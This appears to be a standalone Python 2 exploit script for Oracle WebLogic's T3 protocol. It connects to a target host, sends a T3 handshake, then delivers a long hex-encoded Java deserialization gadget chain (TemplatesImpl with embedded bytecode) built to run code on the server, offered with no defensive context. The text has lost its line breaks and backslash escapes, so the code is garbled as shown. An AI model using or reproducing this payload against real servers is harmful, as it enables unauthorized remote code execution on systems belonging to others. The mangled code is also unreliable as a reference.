Weblogic 懂？

#!/usr/bin/pythonimport socketimport osimport sysimport structimport timeif len(sys.argv) < 2:    print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0])    sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))print '[+] Connecting to %s port %s' % server_addresssock.connect(server_address)
# Send headersheaders='t3 9.2.0.0nAS:255nHL:92nMS:10000000nPU:t3://abcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmn:7001nn'print 'sending "%s"' % headerssock.sendall(headers)
data = sock.recv(1024)print >>sys.stderr, 'received "%s"' % data
payloadObj='xacxedx00x05x73x72x00x17x6ax61x76x61x2ex75x74x69x6cx2ex4cx69x6ex6bx65x64x48x61x73x68x53x65x74xd8x6cxd7x5ax95xddx2ax1ex02x00x00x78x72x00x11x6ax61x76x61x2ex75x74x69x6cx2ex48x61x73x68x53x65x74xbax44x85x95x96xb8xb7x34x03x00x00x78x70x77x0cx00x00x00x10x3fx40x00x00x00x00x00x02x73x72x00x19x6ax61x76x61x2ex72x6dx69x2ex4dx61x72x73x68x61x6cx6cx65x64x4fx62x6ax65x63x74x7cxbdx1ex97xedx63xfcx3ex02x00x03x49x00x04x68x61x73x68x5bx00x08x6cx6fx63x42x79x74x65x73x74x00x02x5bx42x5bx00x08x6fx62x6ax42x79x74x65x73x71x00x7ex00x04x78x70xeax0cxa3xadx70x75x72x00x02x5bx42xacxf3x17xf8x06x08x54xe0x02x00x00x78x70x00x00x10xeaxacxedx00x05x73x72x00x17x6ax61x76x61x2ex75x74x69x6cx2ex4cx69x6ex6bx65x64x48x61x73x68x53x65x74xd8x6cxd7x5ax95xddx2ax1ex02x00x00x78x72x00x11x6ax61x76x61x2ex75x74x69x6cx2ex48x61x73x68x53x65x74xbax44x85x95x96xb8xb7x34x03x00x00x78x70x77x0cx00x00x00x10x3fx40x00x00x00x00x00x02x73x72x00x3ax63x6fx6dx2ex73x75x6ex2ex6fx72x67x2ex61x70x61x63x68x65x2ex78x61x6cx61x6ex2ex69x6ex74x65x72x6ex61x6cx2ex78x73x6cx74x63x2ex74x72x61x78x2ex54x65x6dx70x6cx61x74x65x73x49x6dx70x6cx09x57x4fxc1x6exacxabx33x03x00x08x49x00x0dx5fx69x6ex64x65x6ex74x4ex75x6dx62x65x72x49x00x0ex5fx74x72x61x6ex73x6cx65x74x49x6ex64x65x78x5ax00x15x5fx75x73x65x53x65x72x76x69x63x65x73x4dx65x63x68x61x6ex69x73x6dx4cx00x0bx5fx61x75x78x43x6cx61x73x73x65x73x74x00x3bx4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x61x6cx61x6ex2fx69x6ex74x65x72x6ex61x6cx2fx78x73x6cx74x63x2fx72x75x6ex74x69x6dx65x2fx48x61x73x68x74x61x62x6cx65x3bx5bx00x0ax5fx62x79x74x65x63x6fx64x65x73x74x00x03x5bx5bx42x5bx00x06x5fx63x6cx61x73x73x74x00x12x5bx4cx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x3bx4cx00x05x5fx6ex61x6dx65x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x11x5fx6fx75x74x70x75x74x50x72x6fx70x65x72x74x69x65x73x74x00x16x4cx6ax61x76x61x2fx75x74x69x6cx2fx50x72x6fx70x65x72x74x69x65x73x3bx78x70x00x00x00x00xffxffxffxffx00x70x75x72x00x03x5bx5bx42x4bxfdx19x15x67x67xdbx37x02x00x00x78x70x00x00x00x01x75x72x00x02x5bx42xacxf3x17xf8x06x08x54xe0x02x00x00x78x70x00x00x0dx7axcaxfexbaxbex00x00x00x32x00xacx0ax00x26x00x5ax0ax00x5bx00x5cx0ax00x5bx00x5dx08x00x5ex0ax00x5fx00x60x08x00x61x07x00x62x0ax00x07x00x63x07x00x64x0ax00x65x00x66x09x00x67x00x68x0ax00x69x00x6ax08x00x6bx07x00x4dx0ax00x09x00x6cx08x00x6dx0ax00x07x00x6ex0ax00x6fx00x70x0ax00x6fx00x71x0ax00x07x00x72x08x00x73x07x00x74x0ax00x16x00x75x08x00x76x07x00x3dx08x00x77x07x00x78x08x00x79x0ax00x7ax00x7bx0ax00x1bx00x7cx0ax00x1bx00x7dx08x00x7ex0ax00x69x00x7fx0ax00x25x00x80x07x00x81x0ax00x23x00x82x07x00x83x07x00x84x01x00x06x3cx69x6ex69x74x3ex01x00x03x28x29x56x01x00x04x43x6fx64x65x01x00x0fx4cx69x6ex65x4ex75x6dx62x65x72x54x61x62x6cx65x01x00x12x4cx6fx63x61x6cx56x61x72x69x61x62x6cx65x54x61x62x6cx65x01x00x04x74x68x69x73x01x00x13x4cx73x75x70x65x72x6dx61x6ex2fx45x63x68x6fx54x65x73x74x3bx01x00x09x74x72x61x6ex73x66x6fx72x6dx01x00x72x28x4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x61x6cx61x6ex2fx69x6ex74x65x72x6ex61x6cx2fx78x73x6cx74x63x2fx44x4fx4dx3bx5bx4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x6dx6cx2fx69x6ex74x65x72x6ex61x6cx2fx73x65x72x69x61x6cx69x7ax65x72x2fx53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x61x6ex64x6cx65x72x3bx29x56x01x00x08x64x6fx63x75x6dx65x6ex74x01x00x2dx4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x61x6cx61x6ex2fx69x6ex74x65x72x6ex61x6cx2fx78x73x6cx74x63x2fx44x4fx4dx3bx01x00x08x68x61x6ex64x6cx65x72x73x01x00x42x5bx4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x6dx6cx2fx69x6ex74x65x72x6ex61x6cx2fx73x65x72x69x61x6cx69x7ax65x72x2fx53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x61x6ex64x6cx65x72x3bx01x00x0ax45x78x63x65x70x74x69x6fx6ex73x07x00x85x01x00xa6x28x4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x61x6cx61x6ex2fx69x6ex74x65x72x6ex61x6cx2fx78x73x6cx74x63x2fx44x4fx4dx3bx4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x6dx6cx2fx69x6ex74x65x72x6ex61x6cx2fx64x74x6dx2fx44x54x4dx41x78x69x73x49x74x65x72x61x74x6fx72x3bx4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x6dx6cx2fx69x6ex74x65x72x6ex61x6cx2fx73x65x72x69x61x6cx69x7ax65x72x2fx53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x61x6ex64x6cx65x72x3bx29x56x01x00x08x69x74x65x72x61x74x6fx72x01x00x35x4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x6dx6cx2fx69x6ex74x65x72x6ex61x6cx2fx64x74x6dx2fx44x54x4dx41x78x69x73x49x74x65x72x61x74x6fx72x3bx01x00x07x68x61x6ex64x6cx65x72x01x00x41x4cx63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x6dx6cx2fx69x6ex74x65x72x6ex61x6cx2fx73x65x72x69x61x6cx69x7ax65x72x2fx53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x61x6ex64x6cx65x72x3bx01x00x04x65x63x68x6fx01x00x03x62x75x66x01x00x02x5bx42x01x00x03x6fx75x74x01x00x16x4cx6ax61x76x61x2fx69x6fx2fx4fx75x74x70x75x74x53x74x72x65x61x6dx3bx01x00x01x73x01x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x3bx01x00x01x66x01x00x19x4cx6ax61x76x61x2fx6cx61x6ex67x2fx72x65x66x6cx65x63x74x2fx46x69x65x6cx64x3bx01x00x01x6fx01x00x03x6cx65x6ex01x00x04x6cx65x6ex31x01x00x01x49x01x00x04x76x61x72x34x01x00x03x63x6cx73x01x00x11x4cx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x3bx01x00x03x6ex69x6fx01x00x02x73x73x01x00x13x5bx4cx6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x3bx01x00x04x76x61x72x36x01x00x04x76x61x72x35x01x00x0dx53x74x61x63x6bx4dx61x70x54x61x62x6cx65x07x00x62x07x00x64x01x00x08x3cx63x6cx69x6ex69x74x3ex01x00x04x76x61x72x33x01x00x15x4cx6ax61x76x61x2fx6cx61x6ex67x2fx45x78x63x65x70x74x69x6fx6ex3bx01x00x04x76x61x72x32x07x00x81x01x00x0ax53x6fx75x72x63x65x46x69x6cx65x01x00x22x45x63x68x6fx54x65x73x74x2ex6ax61x76x61x20x66x72x6fx6dx20x49x6ex70x75x74x46x69x6cx65x4fx62x6ax65x63x74x0cx00x27x00x28x07x00x86x0cx00x87x00x88x0cx00x89x00x8ax01x00x1bx77x65x62x6cx6fx67x69x63x2ex73x6fx63x6bx65x74x2ex53x6fx63x6bx65x74x4dx75x78x65x72x07x00x8bx0cx00x8cx00x8dx01x00x08x67x65x74x4dx75x78x65x72x01x00x0fx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x0cx00x8ex00x8fx01x00x10x6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x07x00x90x0cx00x91x00x92x07x00x93x0cx00x3ex00x94x07x00x95x0cx00x96x00x97x01x00x0ax67x65x74x53x6fx63x6bx65x74x73x0cx00x98x00x99x01x00x0ax63x6fx6ex6ex65x63x74x69x6fx6ex0cx00x9ax00x9bx07x00x9cx0cx00x9dx00x9ex0cx00x9fx00xa0x0cx00xa1x00x99x01x00x12x72x65x6dx6fx74x65x48x65x61x64x65x72x4cx65x6ex67x74x68x01x00x11x6ax61x76x61x2fx6cx61x6ex67x2fx49x6ex74x65x67x65x72x0cx00xa2x00xa3x01x00x09x67x65x74x42x75x66x66x65x72x01x00x0fx67x65x74x4fx75x74x70x75x74x53x74x72x65x61x6dx01x00x14x6ax61x76x61x2fx69x6fx2fx4fx75x74x70x75x74x53x74x72x65x61x6dx01x00x13x76x75x6cx6ex65x72x61x62x69x6cx69x74x79x20x65x78x69x73x74x07x00xa4x0cx00xa5x00xa6x0cx00xa7x00xa8x0cx00xa9x00x28x01x00x07x6fx6ex20x65x63x68x6fx0cx00x96x00xaax0cx00x3bx00x28x01x00x13x6ax61x76x61x2fx6cx61x6ex67x2fx45x78x63x65x70x74x69x6fx6ex0cx00xabx00x28x01x00x11x73x75x70x65x72x6dx61x6ex2fx45x63x68x6fx54x65x73x74x01x00x40x63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x61x6cx61x6ex2fx69x6ex74x65x72x6ex61x6cx2fx78x73x6cx74x63x2fx72x75x6ex74x69x6dx65x2fx41x62x73x74x72x61x63x74x54x72x61x6ex73x6cx65x74x01x00x39x63x6fx6dx2fx73x75x6ex2fx6fx72x67x2fx61x70x61x63x68x65x2fx78x61x6cx61x6ex2fx69x6ex74x65x72x6ex61x6cx2fx78x73x6cx74x63x2fx54x72x61x6ex73x6cx65x74x45x78x63x65x70x74x69x6fx6ex01x00x10x6ax61x76x61x2fx6cx61x6ex67x2fx54x68x72x65x61x64x01x00x0dx63x75x72x72x65x6ex74x54x68x72x65x61x64x01x00x14x28x29x4cx6ax61x76x61x2fx6cx61x6ex67x2fx54x68x72x65x61x64x3bx01x00x15x67x65x74x43x6fx6ex74x65x78x74x43x6cx61x73x73x4cx6fx61x64x65x72x01x00x19x28x29x4cx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x4cx6fx61x64x65x72x3bx01x00x15x6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x4cx6fx61x64x65x72x01x00x09x6cx6fx61x64x43x6cx61x73x73x01x00x25x28x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx29x4cx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x3bx01x00x09x67x65x74x4dx65x74x68x6fx64x01x00x40x28x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx5bx4cx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x3bx29x4cx6ax61x76x61x2fx6cx61x6ex67x2fx72x65x66x6cx65x63x74x2fx4dx65x74x68x6fx64x3bx01x00x18x6ax61x76x61x2fx6cx61x6ex67x2fx72x65x66x6cx65x63x74x2fx4dx65x74x68x6fx64x01x00x06x69x6ex76x6fx6bx65x01x00x39x28x4cx6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x3bx5bx4cx6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x3bx29x4cx6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x3bx01x00x10x6ax61x76x61x2fx6cx61x6ex67x2fx53x79x73x74x65x6dx01x00x15x4cx6ax61x76x61x2fx69x6fx2fx50x72x69x6ex74x53x74x72x65x61x6dx3bx01x00x13x6ax61x76x61x2fx69x6fx2fx50x72x69x6ex74x53x74x72x65x61x6dx01x00x07x70x72x69x6ex74x6cx6ex01x00x15x28x4cx6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x3bx29x56x01x00x08x67x65x74x43x6cx61x73x73x01x00x13x28x29x4cx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x3bx01x00x10x67x65x74x44x65x63x6cx61x72x65x64x46x69x65x6cx64x01x00x2dx28x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx29x4cx6ax61x76x61x2fx6cx61x6ex67x2fx72x65x66x6cx65x63x74x2fx46x69x65x6cx64x3bx01x00x17x6ax61x76x61x2fx6cx61x6ex67x2fx72x65x66x6cx65x63x74x2fx46x69x65x6cx64x01x00x0dx73x65x74x41x63x63x65x73x73x69x62x6cx65x01x00x04x28x5ax29x56x01x00x03x67x65x74x01x00x26x28x4cx6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x3bx29x4cx6ax61x76x61x2fx6cx61x6ex67x2fx4fx62x6ax65x63x74x3bx01x00x0dx67x65x74x53x75x70x65x72x63x6cx61x73x73x01x00x08x69x6ex74x56x61x6cx75x65x01x00x03x28x29x49x01x00x10x6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x01x00x08x67x65x74x42x79x74x65x73x01x00x04x28x29x5bx42x01x00x05x77x72x69x74x65x01x00x05x28x5bx42x29x56x01x00x05x66x6cx75x73x68x01x00x15x28x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx29x56x01x00x0fx70x72x69x6ex74x53x74x61x63x6bx54x72x61x63x65x00x21x00x25x00x26x00x00x00x00x00x05x00x01x00x27x00x28x00x01x00x29x00x00x00x33x00x01x00x01x00x00x00x05x2axb7x00x01xb1x00x00x00x02x00x2ax00x00x00x0ax00x02x00x00x00x22x00x04x00x23x00x2bx00x00x00x0cx00x01x00x00x00x05x00x2cx00x2dx00x00x00x01x00x2ex00x2fx00x02x00x29x00x00x00x3fx00x00x00x03x00x00x00x01xb1x00x00x00x02x00x2ax00x00x00x06x00x01x00x00x00x28x00x2bx00x00x00x20x00x03x00x00x00x01x00x2cx00x2dx00x00x00x00x00x01x00x30x00x31x00x01x00x00x00x01x00x32x00x33x00x02x00x34x00x00x00x04x00x01x00x35x00x01x00x2ex00x36x00x02x00x29x00x00x00x49x00x00x00x04x00x00x00x01xb1x00x00x00x02x00x2ax00x00x00x06x00x01x00x00x00x2dx00x2bx00x00x00x2ax00x04x00x00x00x01x00x2cx00x2dx00x00x00x00x00x01x00x30x00x31x00x01x00x00x00x01x00x37x00x38x00x02x00x00x00x01x00x39x00x3ax00x03x00x34x00x00x00x04x00x01x00x35x00x09x00x3bx00x28x00x02x00x29x00x00x02x0fx00x03x00x0dx00x00x00xf6xb8x00x02xb6x00x03x12x04xb6x00x05x4bx2ax12x06x03xbdx00x07xb6x00x08x01xc0x00x09x03xbdx00x09xb6x00x0ax4cxb2x00x0bx2bxb6x00x0cx2ax12x0dx03xbdx00x07xb6x00x08x2bx03xbdx00x09xb6x00x0axc0x00x0exc0x00x0ex4dxb2x00x0bx2cxb6x00x0cx2cx4ex2cxbex36x04x03x36x05x15x05x15x04xa2x00x9fx2dx15x05x32x3ax06x19x06xb6x00x0fx12x10xb6x00x11x3ax07x19x07x04xb6x00x12x19x07x19x06xb6x00x13x3ax08x19x08xb6x00x0fxb6x00x14x12x15xb6x00x11x3ax09x19x09x04xb6x00x12x19x09x19x08xb6x00x13xc0x00x16xb6x00x17x36x0ax15x0ax10x5cxa0x00x4dx19x06xb6x00x0fx12x18x03xbdx00x07xb6x00x08x19x06x03xbdx00x09xb6x00x0axc0x00x19xc0x00x19x3ax0bx19x06xb6x00x0fx12x1ax03xbdx00x07xb6x00x08x19x06x03xbdx00x09xb6x00x0axc0x00x1bx3ax0cx19x0cx12x1cxb6x00x1dxb6x00x1ex19x0cxb6x00x1fx84x05x01xa7xffx60xb1x00x00x00x03x00x2ax00x00x00x5ax00x16x00x00x00x30x00x0cx00x31x00x22x00x32x00x29x00x33x00x42x00x34x00x49x00x35x00x4bx00x36x00x4fx00x38x00x59x00x39x00x5fx00x3ax00x6bx00x3bx00x71x00x3cx00x7ax00x3dx00x89x00x3ex00x8fx00x3fx00x9ex00x40x00xa5x00x41x00xc4x00x42x00xe0x00x43x00xeax00x44x00xefx00x38x00xf5x00x47x00x2bx00x00x00x84x00x0dx00xc4x00x2bx00x3cx00x3dx00x0bx00xe0x00x0fx00x3ex00x3fx00x0cx00x5fx00x90x00x40x00x41x00x06x00x6bx00x84x00x42x00x43x00x07x00x7ax00x75x00x44x00x41x00x08x00x89x00x66x00x45x00x43x00x09x00x9ex00x51x00x46x00x47x00x0ax00x52x00xa3x00x48x00x47x00x05x00x0cx00xeax00x49x00x4ax00x00x00x22x00xd4x00x4bx00x41x00x01x00x42x00xb4x00x4cx00x4dx00x02x00x4bx00xabx00x4ex00x4dx00x03x00x4fx00xa7x00x4fx00x47x00x04x00x50x00x00x00x1dx00x03xffx00x52x00x06x07x00x51x07x00x52x07x00x0ex07x00x0ex01x01x00x00xfbx00x9cxfax00x05x00x34x00x00x00x04x00x01x00x23x00x08x00x53x00x28x00x01x00x29x00x00x00x77x00x02x00x01x00x00x00x16xb2x00x0bx12x20xb6x00x21xb8x00x22xa7x00x08x4bx2axb6x00x24x01x4bxb1x00x01x00x00x00x0bx00x0ex00x23x00x03x00x2ax00x00x00x1ex00x07x00x00x00x19x00x08x00x1ax00x0bx00x1dx00x0ex00x1bx00x0fx00x1cx00x13x00x1fx00x15x00x20x00x2bx00x00x00x16x00x02x00x0fx00x04x00x54x00x55x00x00x00x15x00x00x00x56x00x41x00x00x00x50x00x00x00x07x00x02x4ex07x00x57x04x00x01x00x58x00x00x00x02x00x59x70x74x00x04x50x77x6ex72x70x77x01x00x78x73x7dx00x00x00x01x00x1dx6ax61x76x61x78x2ex78x6dx6cx2ex74x72x61x6ex73x66x6fx72x6dx2ex54x65x6dx70x6cx61x74x65x73x78x72x00x17x6ax61x76x61x2ex6cx61x6ex67x2ex72x65x66x6cx65x63x74x2ex50x72x6fx78x79xe1x27xdax20xccx10x43xcbx02x00x01x4cx00x01x68x74x00x25x4cx6ax61x76x61x2fx6cx61x6ex67x2fx72x65x66x6cx65x63x74x2fx49x6ex76x6fx63x61x74x69x6fx6ex48x61x6ex64x6cx65x72x3bx78x70x73x72x00x32x73x75x6ex2ex72x65x66x6cx65x63x74x2ex61x6ex6ex6fx74x61x74x69x6fx6ex2ex41x6ex6ex6fx74x61x74x69x6fx6ex49x6ex76x6fx63x61x74x69x6fx6ex48x61x6ex64x6cx65x72x55xcaxf5x0fx15xcbx7exa5x02x00x02x4cx00x0cx6dx65x6dx62x65x72x56x61x6cx75x65x73x74x00x0fx4cx6ax61x76x61x2fx75x74x69x6cx2fx4dx61x70x3bx4cx00x04x74x79x70x65x74x00x11x4cx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x3bx78x70x73x72x00x11x6ax61x76x61x2ex75x74x69x6cx2ex48x61x73x68x4dx61x70x05x07xdaxc1xc3x16x60xd1x03x00x02x46x00x0ax6cx6fx61x64x46x61x63x74x6fx72x49x00x09x74x68x72x65x73x68x6fx6cx64x78x70x3fx40x00x00x00x00x00x0cx77x08x00x00x00x10x00x00x00x01x74x00x08x66x35x61x35x61x36x30x38x71x00x7ex00x09x78x76x72x00x1dx6ax61x76x61x78x2ex78x6dx6cx2ex74x72x61x6ex73x66x6fx72x6dx2ex54x65x6dx70x6cx61x74x65x73x00x00x00x00x00x00x00x00x00x00x00x78x70x78x73x7dx00x00x00x01x00x14x6ax61x76x61x2ex69x6fx2ex53x65x72x69x61x6cx69x7ax61x62x6cx65x78x72x00x17x6ax61x76x61x2ex6cx61x6ex67x2ex72x65x66x6cx65x63x74x2ex50x72x6fx78x79xe1x27xdax20xccx10x43xcbx02x00x01x4cx00x01x68x74x00x25x4cx6ax61x76x61x2fx6cx61x6ex67x2fx72x65x66x6cx65x63x74x2fx49x6ex76x6fx63x61x74x69x6fx6ex48x61x6ex64x6cx65x72x3bx78x70x73x72x00x32x73x75x6ex2ex72x65x66x6cx65x63x74x2ex61x6ex6ex6fx74x61x74x69x6fx6ex2ex41x6ex6ex6fx74x61x74x69x6fx6ex49x6ex76x6fx63x61x74x69x6fx6ex48x61x6ex64x6cx65x72x55xcaxf5x0fx15xcbx7exa5x02x00x02x4cx00x0cx6dx65x6dx62x65x72x56x61x6cx75x65x73x74x00x0fx4cx6ax61x76x61x2fx75x74x69x6cx2fx4dx61x70x3bx4cx00x04x74x79x70x65x74x00x11x4cx6ax61x76x61x2fx6cx61x6ex67x2fx43x6cx61x73x73x3bx78x70x73x72x00x11x6ax61x76x61x2ex75x74x69x6cx2ex48x61x73x68x4dx61x70x05x07xdaxc1xc3x16x60xd1x03x00x02x46x00x0ax6cx6fx61x64x46x61x63x74x6fx72x49x00x09x74x68x72x65x73x68x6fx6cx64x78x70x3fx40x00x00x00x00x00x0cx77x08x00x00x00x10x00x00x00x01x74x00x08x66x35x61x35x61x36x30x38x71x00x7ex00x05x78x76x71x00x7ex00x03x78'
payload='x00x00x09xf3x01x65x01xffxffxffxffxffxffxffxffx00x00x00x71x00x00xeax60x00x00x00x18x43x2exc6xa2xa6x39x85xb5xafx7dx63xe6x43x83xf4x2ax6dx92xc9xe9xafx0fx94x72x02x79x73x72x00x78x72x01x78x72x02x78x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x70x70x70x70x70x00x00x00x0cx00x00x00x02x00x00x00x00x00x00x00x00x00x00x00x01x00x70x06xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x03x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x03x78x70x77x02x00x00x78xfex01x00x00'payload=payload+payloadObjpayload=payload+'xfex01x00x00xacxedx00x05x73x72x00x1dx77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex43x6cx61x73x73x54x61x62x6cx65x45x6ex74x72x79x2fx52x65x81x57xf4xf9xedx0cx00x00x78x70x72x00x21x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x65x65x72x49x6ex66x6fx58x54x74xf3x9bxc9x08xf1x02x00x07x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x5bx00x08x70x61x63x6bx61x67x65x73x74x00x27x5bx4cx77x65x62x6cx6fx67x69x63x2fx63x6fx6dx6dx6fx6ex2fx69x6ex74x65x72x6ex61x6cx2fx50x61x63x6bx61x67x65x49x6ex66x6fx3bx78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex56x65x72x73x69x6fx6ex49x6ex66x6fx97x22x45x51x64x52x46x3ex02x00x03x5bx00x08x70x61x63x6bx61x67x65x73x71x00x7ex00x03x4cx00x0ex72x65x6cx65x61x73x65x56x65x72x73x69x6fx6ex74x00x12x4cx6ax61x76x61x2fx6cx61x6ex67x2fx53x74x72x69x6ex67x3bx5bx00x12x76x65x72x73x69x6fx6ex49x6ex66x6fx41x73x42x79x74x65x73x74x00x02x5bx42x78x72x00x24x77x65x62x6cx6fx67x69x63x2ex63x6fx6dx6dx6fx6ex2ex69x6ex74x65x72x6ex61x6cx2ex50x61x63x6bx61x67x65x49x6ex66x6fxe6xf7x23xe7xb8xaex1exc9x02x00x09x49x00x05x6dx61x6ax6fx72x49x00x05x6dx69x6ex6fx72x49x00x0bx70x61x74x63x68x55x70x64x61x74x65x49x00x0cx72x6fx6cx6cx69x6ex67x50x61x74x63x68x49x00x0bx73x65x72x76x69x63x65x50x61x63x6bx5ax00x0ex74x65x6dx70x6fx72x61x72x79x50x61x74x63x68x4cx00x09x69x6dx70x6cx54x69x74x6cx65x71x00x7ex00x05x4cx00x0ax69x6dx70x6cx56x65x6ex64x6fx72x71x00x7ex00x05x4cx00x0bx69x6dx70x6cx56x65x72x73x69x6fx6ex71x00x7ex00x05x78x70x77x02x00x00x78xfex00xffxfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x46x21x00x00x00x00x00x00x00x00x00x09x31x32x37x2ex30x2ex31x2ex31x00x0bx75x73x2dx6cx2dx62x72x65x65x6ex73xa5x3cxafxf1x00x00x00x07x00x00x1bx59xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxffx00x78xfex01x00x00xacxedx00x05x73x72x00x13x77x65x62x6cx6fx67x69x63x2ex72x6ax76x6dx2ex4ax56x4dx49x44xdcx49xc2x3exdex12x1ex2ax0cx00x00x78x70x77x1dx01x81x40x12x81x34xbfx42x76x00x09x31x32x37x2ex30x2ex31x2ex31xa5x3cxafxf1x00x00x00x00x00x78'
# adjust header for appropriate message lengthpayload=struct.pack('>I',len(payload)) + payload[4:]#print payloadprint '[+] Sending payload...'sock.send(payload)time.sleep(1)data = sock.recv(1024)print  'received "%s"' % dataprint 'send sucess'